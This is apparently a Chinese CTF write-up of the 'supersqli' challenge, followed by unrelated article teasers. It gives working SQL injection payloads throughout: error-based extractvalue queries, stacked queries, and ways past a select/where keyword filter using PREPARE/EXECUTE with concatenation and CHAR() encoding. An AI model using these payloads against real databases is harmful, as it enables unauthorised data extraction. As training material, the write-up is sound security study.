supersqli-攻防世界

题目

加个'报错

1' and 1=1 #没报错判断为单引号字符注入

 爆显位

1' order by 2#回显正常

1' order by 3#报错

 

说明列数是2

 尝试联合查询

-1' union select 1,2#

被过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    • select|update|delete|drop|insert|where:这部分表示匹配其中的任何一个单词。| 是一个逻辑“或”操作符,意味着它会匹配它前面的或后面的任何一个模式。
    • \.. 在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.,我们需要使用 \.
    • i:这是一个修饰符,表示匹配是不区分大小写的。
    • 代码会检查$inject字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.(不考虑大小写)。
      • 如果匹配到任何这些模式,preg_match会返回1,表示匹配成功。如果没有匹配到,它会返回0。
      • return 关键字表示这个函数会直接返回preg_match的结果。

SQL注入分类

根据参数类型:字符型,数字型、搜索型

根据提交方式:POST注入,GET注入,HTTP HEAD注入

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

尝试报错注入

爆数库版本

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))

 

爆数据库名

 1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+

 得到数据库名supersqli

但是后续爆表列等被过滤了

基本都被过滤了尝试堆叠注入

1';show databases;#

结合题目以及之前爆出的数据库名猜测flag在supersqli

爆当前数据库biao

0';show tables;#

 爆191字段

 1';show columns from `1919810931114514`;#

 查flag字段

1’;select 1,2,group_concat(flag) from 1919810931114514;#

又被过滤了

使用MySQL预处理语句

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出

采用预编译绕过,

1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行

char函数将ASCII值转字符实现select绕过

char函数:

SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

 115,101,108,101,99,116对应select

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789103.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时间管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)大学生

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

git上传到本都仓库

摘要:本地初始化init仓库,进行pull和push;好处是便于利用存储设备进行git备份 git init --bare test.git 随便到一个空的目录下git clone 然后使用git上传 把git仓库删除之后再clone一次验证一下是否上传成功: 如果在ubantu上面没…

MySQL两表联查之分组成绩第几问题

MySQL 数据库操作实践:两表联查之分组成绩第几问题 在本篇博客中,我将展示MySQL 从创建表、到插入数据,并进行一些复杂的查询操作。 1. 建立表格 首先,我们创建两个表:department(部门)和 em…

数据资产盘点七步法:教你为什么盘,盘什么,怎么盘

数据作为企业一种“特殊资产”,已被列入企业的资产负债表。只有对数据资源进行统筹规划,全面梳理,“摸清家底”,才能让数据更好地服务于企业的业务应用。怎样识别数据资产、有效管理和运营数据资产,利用现有的数据资产…

语言的属性与计算

1.语言的根本属性 语言的根本属性,通常指的是那些使语言区别于其他任何形式的信息传递系统的本质特征,以下是一些关键的根本属性: 社会性:语言首先是人类社会的产物,是社会成员之间进行思想交流和信息传递的主要工具&…

spring和springboot的区别戏说

Spring框架和Spring Boot是Java开发领域中两个非常重要的技术,它们之间的关系和区别可以用一种轻松幽默的方式来描述。 Spring框架:老派绅士 想象一下,Spring框架就像是一位老派的绅士,他有着丰富的经验和深厚的底蕴。他擅长管理…

Android源码笔记-输入事件(一)

这一节主要了解一下Android输入事件源码,Android输入系统的工作原理概括来说,就是监控/dev/input/下的所有设备节点,当某个节点有数据可读时,将数据读出并进行一系列的加工,然后在所有的窗口中寻找合适的事件接收者&am…

05 | Swoole 源码分析之 WebSocket 模块

首发原文链接:Swoole 源码分析之 WebSocket 模块 大家好,我是码农先森。 引言 WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它允许客户端和服务器之间进行实时数据传输。 与传统的 HTTP 请求-响应模型不同,WebSocket 可以保持…

Bash相关

Bash shell是Linux内核与用户之间的解释器程序 变量 自定义变量,名称可以用数字、字母、下划线、不能以数字开头,不能使用特殊符号,等号两边不能有空格 格式:变量名称值 环境变量,由系统提前定义好,使用…

node res.end返回json格式数据

使用 Node.js 内置 http 模块的createServer()方法创建一个新的HTTP服务器并返回json数据,代码如下: const http require(http);const hostname 127.0.0.1; const port 3000;const data [{ name: 测试1号, index: 0 },{ name: 测试2号, index: 1 },…

PhpWord导入试卷

规定word导入格式 1、[单选题][2024][一般]题目1 A.选项1 B.选项2 C.选项3 D.选项4 答案:D 试题图片(上传多媒体图片): 分数:2 答案解析: 2、[多选题][2024][困难]题目2 A.选项1 B.选项2 C.选项3 D.选项4 E…

[计算机效率] 格式转换工具:格式工厂

3.14 格式转换工具:格式工厂 格式工厂是一款功能强大的多媒体格式转换软件,可以实现音频、视频、图片等多种格式的转换。它支持几乎所有类型的多媒体格式,包括视频、音频、图片、字幕等,可以轻松实现格式之间的转换,并…

分发饼干(C++ 贪心)

目录 题目需求 贪心算法思想 什么是贪心 贪心算法的使用 贪心算法的优缺点 代码实现 后言 题目需求 假设你是一位很棒的家长,想要给你的孩子们一些小饼干。但是,每个孩子最多只能给一块饼干。 对每个孩子 i,都有一个胃口值 g[i]&…

基本环境搭建指南

前端相关 Nodejs 官网下载:https://nodejs.cn/ 网盘下载:https://yun.mllt.cc/s/Rvtm 数据库相关 MySQL https://dev.mysql.com/downloads/mysql/5.7.html navcat https://navicat.com.cn/products redis 官网下载:https://redis.io/docs/ins…

python-文件操作常用功能-2

目录 列出子目录 获取文件属性 列出子目录 如果要列出子目录而不是文件,请使用下面的方法。现在展示如何使用 os.listdir() 和 os.path() : import osbasepath my_directoryfor entry in os.listdir(basepath):if os.path.isdir(os.path.join(basepath,entry)):…

手写红黑树【数据结构】

手写红黑树【数据结构】 前言版权推荐手写红黑树一、理论知识红黑树的特征增加删除 二、手写代码初始-树结点初始-红黑树初始-遍历初始-判断红黑树是否有效查找增加-1.父为黑,直接插入增加-2. 父叔为红,颜色调换增加-3. 父红叔黑,颜色调换&am…

C++ Primer 总结索引 | 第十二章:动态内存

1、到目前为止,我们编写的程序中 所使用的对象 都有着严格定义的生存期。全局对象 在程序启动时分配,在程序结束时 销毁。对于 局部自动对象,当我们进入 其定义所在的程序块时被创建,在 离开块时销毁。局部static对象 在第一次使用…

Qt_Note20_QML_自定义Grid控件与OpacityMask的使用

import QtQuick 2.12 import QtQuick.Window 2.12 import QtQuick.Controls 2.12 import QtGraphicalEffects 1.14Window {visible: truewidth: 640height: 480title: qsTr("Hello World")// 自定义Grid控件与OpacityMask的使用Grid {id: gridwidth: 15height: 200co…

在线教育平台项目总结

一、业务流程 1.企业(B) 内容管理、媒资、缓存、消息、任务调度、搜索 2.个人(C) 搜索、缓存、订单、支付、学习 二、关键技术 1.缓存三兄弟: 缓存穿透,高并发请求过来之后,查询数据库中存…

升降梯人数识别摄像机

升降梯人数识别摄像机是一种智能监测设备,主要用于实时识别和计算升降梯内乘客的数量。通过搭载先进的图像识别技术和人工智能算法,该设备可以准确监测乘客进出数量,提供重要数据支持和信息反馈,帮助管理人员有效管理升降梯运行&a…